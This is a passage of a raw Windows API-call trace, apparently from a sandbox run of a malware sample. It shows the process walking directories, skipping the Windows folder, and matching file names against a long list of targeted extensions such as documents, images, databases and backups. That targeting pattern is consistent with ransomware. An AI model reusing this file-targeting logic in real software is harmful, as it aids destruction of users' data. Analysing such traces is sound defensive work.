dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0197.967] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1 [0197.974] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0197.974] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0197.974] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0197.974] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0197.974] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0197.974] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0197.974] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1 [0197.980] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0197.980] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0197.980] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0197.980] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0197.980] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0197.981] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0197.981] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0197.981] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0 [0197.981] FindClose (in: hFindFile=0x44205a0 | out: hFindFile=0x44205a0) returned 1 [0197.981] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0197.983] FindNextFileW (in: hFindFile=0x4420520, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0197.989] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0197.990] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0197.990] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es") returned 104 [0197.990] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es") returned 1 [0197.990] lstrlenW (lpString="ca-es") returned 5 [0197.990] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ca-es") returned -1 [0197.990] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44f5f70 [0197.990] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es") returned 104 [0197.990] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44206e0 [0197.991] FindNextFileW (in: hFindFile=0x44206e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.991] FindNextFileW (in: hFindFile=0x44206e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0197.991] lstrlenW (lpString="ui-strings.js") returned 13 [0197.991] lstrlenW (lpString=".1cd") returned 4 [0197.991] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0197.991] lstrlenW (lpString=".3ds") returned 4 [0197.991] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0197.991] lstrlenW (lpString=".3fr") returned 4 [0197.991] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0197.991] lstrlenW (lpString=".3g2") returned 4 [0197.991] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0197.991] lstrlenW (lpString=".3gp") returned 4 [0197.991] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0197.991] lstrlenW (lpString=".7z") returned 3 [0197.991] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0197.992] lstrlenW (lpString=".accda") returned 6 [0197.992] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0197.992] lstrlenW (lpString=".accdb") returned 6 [0197.992] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0197.992] lstrlenW (lpString=".accdc") returned 6 [0197.992] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0197.992] lstrlenW (lpString=".accde") returned 6 [0197.992] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0197.992] lstrlenW (lpString=".accdt") returned 6 [0197.992] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0197.992] lstrlenW (lpString=".accdw") returned 6 [0197.992] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0197.992] lstrlenW (lpString=".adb") returned 4 [0197.992] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0197.992] lstrlenW (lpString=".adp") returned 4 [0197.992] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0197.992] lstrlenW (lpString=".ai") returned 3 [0197.992] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0197.992] lstrlenW (lpString=".ai3") returned 4 [0197.992] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0197.992] lstrlenW (lpString=".ai4") returned 4 [0197.992] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0197.992] lstrlenW (lpString=".ai5") returned 4 [0197.992] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0197.992] lstrlenW (lpString=".ai6") returned 4 [0197.992] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0197.992] lstrlenW (lpString=".ai7") returned 4 [0197.992] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0197.992] lstrlenW (lpString=".ai8") returned 4 [0197.992] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0197.992] lstrlenW (lpString=".anim") returned 5 [0197.993] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0197.993] lstrlenW (lpString=".arw") returned 4 [0197.993] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0197.993] lstrlenW (lpString=".as") returned 3 [0197.993] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0197.993] lstrlenW (lpString=".asa") returned 4 [0197.993] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0197.993] lstrlenW (lpString=".asc") returned 4 [0197.993] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0197.993] lstrlenW (lpString=".ascx") returned 5 [0197.993] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0197.993] lstrlenW (lpString=".asm") returned 4 [0197.993] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0197.993] lstrlenW (lpString=".asmx") returned 5 [0197.993] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0197.993] lstrlenW (lpString=".asp") returned 4 [0197.993] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0197.993] lstrlenW (lpString=".aspx") returned 5 [0197.993] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0197.993] lstrlenW (lpString=".asr") returned 4 [0197.993] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0197.993] lstrlenW (lpString=".asx") returned 4 [0197.993] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0197.993] lstrlenW (lpString=".avi") returned 4 [0197.993] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0197.993] lstrlenW (lpString=".avs") returned 4 [0197.994] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".backup") returned 7 [0197.994] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0197.994] lstrlenW (lpString=".bak") returned 4 [0197.994] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".bay") returned 4 [0197.994] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".bd") returned 3 [0197.994] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0197.994] lstrlenW (lpString=".bin") returned 4 [0197.994] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".bmp") returned 4 [0197.994] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".bz2") returned 4 [0197.994] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".c") returned 2 [0197.994] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0197.994] lstrlenW (lpString=".cdr") returned 4 [0197.994] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".cer") returned 4 [0197.994] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".cf") returned 3 [0197.994] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0197.994] lstrlenW (lpString=".cfc") returned 4 [0197.994] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".cfm") returned 4 [0197.994] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0197.994] lstrlenW (lpString=".cfml") returned 5 [0197.994] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0197.995] lstrlenW (lpString=".cfu") returned 4 [0197.995] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".chm") returned 4 [0197.995] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".cin") returned 4 [0197.995] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".class") returned 6 [0197.995] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0197.995] lstrlenW (lpString=".clx") returned 4 [0197.995] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".config") returned 7 [0197.995] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0197.995] lstrlenW (lpString=".cpp") returned 4 [0197.995] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".cr2") returned 4 [0197.995] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".crt") returned 4 [0197.995] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".crw") returned 4 [0197.995] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".cs") returned 3 [0197.995] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0197.995] lstrlenW (lpString=".css") returned 4 [0197.995] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".csv") returned 4 [0197.995] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0197.995] lstrlenW (lpString=".cub") returned 4 [0197.996] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".dae") returned 4 [0197.996] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".dat") returned 4 [0197.996] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".db") returned 3 [0197.996] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0197.996] lstrlenW (lpString=".dbf") returned 4 [0197.996] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".dbx") returned 4 [0197.996] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".dc3") returned 4 [0197.996] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".dcm") returned 4 [0197.996] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".dcr") returned 4 [0197.996] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".der") returned 4 [0197.996] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".dib") returned 4 [0197.996] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0197.996] lstrlenW (lpString=".dic") returned 4 [0198.069] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0198.069] lstrlenW (lpString=".dif") returned 4 [0198.069] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0198.069] lstrlenW (lpString=".divx") returned 5 [0198.069] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0198.069] lstrlenW (lpString=".djvu") returned 5 [0198.069] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0198.069] lstrlenW (lpString=".dng") returned 4 [0198.069] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0198.069] lstrlenW (lpString=".doc") returned 4 [0198.069] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0198.069] lstrlenW (lpString=".docm") returned 5 [0198.069] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0198.069] lstrlenW (lpString=".docx") returned 5 [0198.070] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0198.070] lstrlenW (lpString=".dot") returned 4 [0198.070] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0198.070] lstrlenW (lpString=".dotm") returned 5 [0198.070] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0198.070] lstrlenW (lpString=".dotx") returned 5 [0198.070] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0198.070] lstrlenW (lpString=".dpx") returned 4 [0198.070] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0198.070] lstrlenW (lpString=".dqy") returned 4 [0198.070] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0198.070] lstrlenW (lpString=".dsn") returned 4 [0198.070] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0198.070] lstrlenW (lpString=".dt") returned 3 [0198.070] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0198.070] lstrlenW (lpString=".dtd") returned 4 [0198.070] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0198.070] lstrlenW (lpString=".dwg") returned 4 [0198.070] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0198.070] lstrlenW (lpString=".dwt") returned 4 [0198.070] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0198.070] lstrlenW (lpString=".dx") returned 3 [0198.071] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0198.071] lstrlenW (lpString=".dxf") returned 4 [0198.071] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".edml") returned 5 [0198.071] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0198.071] lstrlenW (lpString=".efd") returned 4 [0198.071] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".elf") returned 4 [0198.071] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".emf") returned 4 [0198.071] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".emz") returned 4 [0198.071] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".epf") returned 4 [0198.071] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".eps") returned 4 [0198.071] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".epsf") returned 5 [0198.071] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0198.071] lstrlenW (lpString=".epsp") returned 5 [0198.071] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0198.071] lstrlenW (lpString=".erf") returned 4 [0198.071] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".exr") returned 4 [0198.071] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".f4v") returned 4 [0198.071] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0198.071] lstrlenW (lpString=".fido") returned 5 [0198.071] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0198.071] lstrlenW (lpString=".flm") returned 4 [0198.071] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".flv") returned 4 [0198.072] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".frm") returned 4 [0198.072] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".fxg") returned 4 [0198.072] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".geo") returned 4 [0198.072] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".gif") returned 4 [0198.072] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".grs") returned 4 [0198.072] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".gz") returned 3 [0198.072] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0198.072] lstrlenW (lpString=".h") returned 2 [0198.072] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0198.072] lstrlenW (lpString=".hdr") returned 4 [0198.072] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".hpp") returned 4 [0198.072] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".hta") returned 4 [0198.072] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".htc") returned 4 [0198.072] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".htm") returned 4 [0198.072] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0198.072] lstrlenW (lpString=".html") returned 5 [0198.072] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0198.072] lstrlenW (lpString=".icb") returned 4 [0198.072] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".ics") returned 4 [0198.073] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".iff") returned 4 [0198.073] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".inc") returned 4 [0198.073] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".indd") returned 5 [0198.073] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0198.073] lstrlenW (lpString=".ini") returned 4 [0198.073] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".iqy") returned 4 [0198.073] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".j2c") returned 4 [0198.073] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".j2k") returned 4 [0198.073] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".java") returned 5 [0198.073] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0198.073] lstrlenW (lpString=".jp2") returned 4 [0198.073] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".jpc") returned 4 [0198.073] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".jpe") returned 4 [0198.073] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".jpeg") returned 5 [0198.073] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0198.073] lstrlenW (lpString=".jpf") returned 4 [0198.073] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".jpg") returned 4 [0198.073] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0198.073] lstrlenW (lpString=".jpx") returned 4 [0198.074] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0198.074] lstrlenW (lpString=".js") returned 3 [0198.074] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0198.074] FindNextFileW (in: hFindFile=0x44206e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0198.074] FindClose (in: hFindFile=0x44206e0 | out: hFindFile=0x44206e0) returned 1 [0198.074] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.074] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0198.074] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz") returned 104 [0198.074] lstrcmpiW 